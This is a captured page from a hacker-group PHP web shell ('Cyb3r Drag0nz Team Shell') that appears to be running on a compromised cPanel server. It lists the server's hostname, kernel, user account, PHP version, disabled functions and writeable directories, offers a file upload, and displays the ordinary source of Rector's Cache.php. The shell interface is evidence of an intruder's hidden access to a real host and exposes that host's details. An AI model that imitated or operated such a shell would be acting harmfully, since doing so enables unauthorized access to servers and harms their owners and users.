Cyb3r Drag0nz Team Shell
Cyb3rDrag0nz


Server : Apache
System : Linux wealthytechsolutions.wealthytechsolutions.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : raybondt ( 1003)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/cpanel/ea-wappspector/vendor/rector/rector/src/Caching/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cpanel/ea-wappspector/vendor/rector/rector/src/Caching/Cache.php
<?php

declare (strict_types=1);
namespace Rector\Caching;

use Rector\Caching\Contract\ValueObject\Storage\CacheStorageInterface;
use Rector\Caching\Enum\CacheKey;
final class Cache
{
    /**
     * @readonly
     * @var \Rector\Caching\Contract\ValueObject\Storage\CacheStorageInterface
     */
    private $cacheStorage;
    public function __construct(CacheStorageInterface $cacheStorage)
    {
        $this->cacheStorage = $cacheStorage;
    }
    /**
     * @param CacheKey::* $variableKey
     * @return mixed|null
     */
    public function load(string $key, string $variableKey)
    {
        return $this->cacheStorage->load($key, $variableKey);
    }
    /**
     * @param CacheKey::* $variableKey
     * @param mixed $data
     */
    public function save(string $key, string $variableKey, $data) : void
    {
        $this->cacheStorage->save($key, $variableKey, $data);
    }
    public function clear() : void
    {
        $this->cacheStorage->clear();
    }
    public function clean(string $cacheKey) : void
    {
        $this->cacheStorage->clean($cacheKey);
    }
}

Cyb3r Drag0nz Team